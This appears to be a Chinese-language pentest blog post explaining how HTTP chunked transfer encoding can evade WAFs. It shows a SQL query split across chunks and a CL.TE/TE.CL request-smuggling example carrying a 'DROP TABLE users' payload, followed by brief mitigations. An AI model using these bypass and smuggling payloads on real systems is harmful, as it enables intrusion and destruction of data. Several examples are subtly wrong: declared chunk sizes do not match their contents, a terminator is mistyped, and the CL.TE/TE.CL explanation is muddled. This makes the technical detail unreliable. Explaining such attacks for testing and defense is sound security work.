Tommonkey

All greatness comes from a brave beginning

0%

分块传输

HTTP中的分块传输(Chunked Transfer Encoding)是一种数据传输机制,允许服务器将响应体分割成多个小块进行传输,而不必事先计算出内容的总长度。这种方式特别适合于动态生成的内容或需要实时流式传输的情况(如长时间生成的响应、视频流或实时数据推送)。
而这种传输特性在我们做渗透测试遇到waf等安全设备时可以发挥妙用,因为分块传输可以让请求内容分为小块传输,某些WAF或传统的入侵检测系统(IDS)在处理这种流式内容时可能存在解析不完全或错误的情况,攻击者可能利用这些漏洞进行绕过。

如何使用分块传输

  • 响应头设定:在HTTP请求头部,添加 Transfer-Encoding: chunked 来指明采用分块传输。
  • 数据分块:数据被分割成一系列的小块(chunk)。每个块的格式如下:
    • 块大小:每个块以十六进制形式指定其大小(字节数),之后是回车和换行符(\r\n)。
    • 数据块内容:接下来是实际的内容数据,再次用\r\n表示块的结束。
    • 终止块:传输结束时,服务器发送一个大小为0的块,表示传输完成。

实列

假设服务器要传输“Hello, World!”这样的内容,分块传输格式可能如下:

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: www.tommonkey.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Transfer-Encoding: chunked


5\r\n
Hello\r\n
7\r\n
, World!\r\n
0\r\n
\r\n

进行sql注入payload

1
2
3
4
5
6
7
8
9
10
5\r\n
SELEC\r\n
5\r\n
T * F\r\n
4\r\n
ROM\r\n
6\r\n
users\r\n
0\r\n
\r\n

请求分块和分片传输结合

请求分块和分片传输结合(CL.TE / TE.CL 混淆攻击),一种更为复杂的绕过技术是利用HTTP请求的“内容长度”(Content-Length)和“分块传输编码”(Transfer-Encoding)头的混淆,称为CL.TE或TE.CL攻击。攻击者会使用分块传输的编码方式,使WAF无法准确识别请求的边界,从而绕过请求长度检查。攻击方式包括:

  • CL.TE攻击:利用 Content-Length 声明一个请求的长度,而真正传输的是按分块方式编码的内容。WAF可能只看 Content-Length,而忽略实际的请求内容。
  • TE.CL攻击:反过来利用 Transfer-Encoding 的声明,让WAF无法准确解析请求的边界。
    假设攻击者构造了以下一个恶意HTTP请求包,其中包括了两个请求:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /vulnerable-endpoint HTTP/1.1
    Host: example.com
    Content-Length: 3
    Transfer-Encoding: chunked

    0/r/n

    POST /vulnerable-endpoint HTTP/1.1
    Host: example.com
    Content-Length: 20

    id=1; DROP TABLE users;

    在这种情况下:
  • CL.TE组合:假设代理服务器按照Content-Length标头处理请求(它认为内容长度为3字节)。代理服务器会认为第一个请求结束在Transfer-Encoding: chunked的0字节后面,并会将接下来的数据视为新请求。
  • TE.CL组合:假设后端服务器使用Transfer-Encoding: chunked处理请求(它将忽略Content-Length,并将后续的所有内容视为chunked数据)。它会读取传输编码结束标记0之后的所有数据,并认为其中的第二个请求是一个新的、独立的请求。

防护措施

  • 阻止在同一请求中出现Content-Length和Transfer-Encoding标头。
  • 代理服务器和后端服务器使用一致的请求解析标准。
  • 在所有HTTP请求的入口点上统一和严格的请求解析规则。

使用场景

在HTTP 1.1及以下可以尝试一下,看是否可以利用。

奖励作者买杯可乐?